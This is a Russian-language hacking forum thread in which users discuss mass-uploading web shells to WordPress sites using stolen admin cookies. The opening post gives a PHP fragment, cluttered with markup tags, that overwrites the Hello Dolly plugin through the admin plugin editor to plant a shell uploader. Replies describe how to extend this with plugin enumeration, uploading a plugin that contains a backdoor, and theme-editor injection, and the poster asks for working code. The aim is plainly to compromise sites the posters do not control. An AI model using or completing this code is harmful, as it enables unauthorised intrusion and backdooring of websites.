ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |

01.08.2022, 13:11
|
|
Guest
Сообщений: n/a
Провел на форуме: 1825
Репутация:
0
|
|
Понадобился скрипт для заливки шеллов в вп, нашел свою старую наработку через плагин Hello Dolly, вот ключевой кусок который показывает концепцию
PHP код:
PHP: [COLOR="#000000"][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-admin/plugin-editor.php?file=hello.php'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$hello_path[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-content/plugins/hello.php'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$plugin_editor[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#DD0000"]'http://'[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$path[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'/wp-admin/plugin-editor.php'[/COLOR][COLOR="#007700"]; [/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]extractFormData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#FF8000"]//var_dump($data); //var_dump($code); //exit(); [/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$plugin_editor[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&newcontent='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]$code[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlGet[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_path[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#FF8000"]//var_dump($response); [/COLOR][COLOR="#0000BB"]preg_match[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'~url:(.+)~'[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]$matches[/COLOR][COLOR="#007700"][[/COLOR][COLOR="#0000BB"]1[/COLOR][COLOR="#007700"]]; [/COLOR][COLOR="#FF8000"]//echo $url; [/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]''[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]extractFormData[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]); [/COLOR][COLOR="#0000BB"]$response[/COLOR][COLOR="#007700"]=[/COLOR][COLOR="#0000BB"]curlPostCookies[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_edit[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#0000BB"]$data[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#DD0000"]'&newcontent='[/COLOR][COLOR="#007700"].[/COLOR][COLOR="#0000BB"]urlencode[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]$hello_dolly_text[/COLOR][COLOR="#007700"]),[/COLOR][COLOR="#0000BB"]$cookies[/COLOR][COLOR="#007700"]); if([/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]) return[/COLOR][COLOR="#0000BB"]$url[/COLOR][COLOR="#007700"]; return[/COLOR][COLOR="#0000BB"]false[/COLOR][COLOR="#007700"];[/COLOR][/COLOR]
Суть ясна - меняем текст плагина на наш пхп код (в моем случае это заливщик который ищет папку на запись и выдает урл куда загрузился шелл). Года три назад пробив был нормальным в принципе, 10% шеллов с пачки админок получалось, сейчас это вообще не работает, практически ни один шелл не залился. Мб что-то поменялось с тех пор или waf стали настолько продвинутыми? Может есть какой-то более адекватный способ грузится?
|
|
|
|

05.08.2022, 10:14
|
|
Участник форума
Регистрация: 14.04.2007
Сообщений: 197
Провел на форуме: 1122391
Репутация:
209
|
|
Ничего не понятно .. А где функции curlPostCookies, curlGet, extractFormData?
Код:
Code:
$response = curlPostCookies($hello_edit, $data.'&newcontent='.urlencode($hello_dolly_text), $cookies );
А откуда взялся $hello_dolly_text ?
$cookies тоже где-то потерялись ))
Странно что этот код вообще что-то заливал
|
|
|

05.08.2022, 21:13
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Сообщение от 1NtR0
1NtR0 said:
↑
Странно что этот код вообще что-то заливал
Сообщение от Storks
Storks said:
↑
вот ключевой кусок который показывает концепцию
он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
|
|
|

05.08.2022, 22:14
|
|
Guest
Сообщений: n/a
Провел на форуме: 1825
Репутация:
0
|
|
Сообщение от b3
b3 said:
↑
он часть показал, сам смысл в том что он редактирует плагин через встроенный редактор. Ну вообще нужно бы пройтись по всем установленным плагинам и проверить у которого есть права на редактирование и потом править. Ну и так же прикрутить запасной вариант через загрузку нового плагина. Плюс можно код инжектить в саму тему через редактор тем.
Звучит как хороший план. А можно примеры с эксплойтом или кодом на?:
- проверку плагинов на записб
- загрузку своего плагина
- инжект через редактор тем
Если уже подобные методы обсуждались и обсасывались то это только плюс, потому что с нуля самому велосипед городить не хочется. ЯП не принципиален, я все равно под питон буду переписывать.
|
|
|
|

08.08.2022, 16:19
|
|
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме: 1698585
Репутация:
818
|
|
Сообщение от Storks
Storks said:
↑
А можно примеры с эксплойтом или кодом
мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.
Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.
|
|
|

09.08.2022, 13:18
|
|
Guest
Сообщений: n/a
Провел на форуме: 1825
Репутация:
0
|
|
Сообщение от b3
b3 said:
↑
мне лень писать) бери снифер, заходи в админку и снифай пакеты, там все очень банально и просто. заходишь в плагины, регуляркой собираешь из формы все имена плагинов, потом в каждый плагин заходишь и пытаешься редактировать файл/файлы.
Загрузка плагина тоже самое, гуглишь пустой плагин, вписываешь в него свой бэкдор или отстук и загружаешь паралельно снифая загрузку чтоб воссоздать это в коде на ЯП.
спасибо, попробую.
Если кто-то подкинет еще идей или рабочий код будет тоже очень мило
|
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|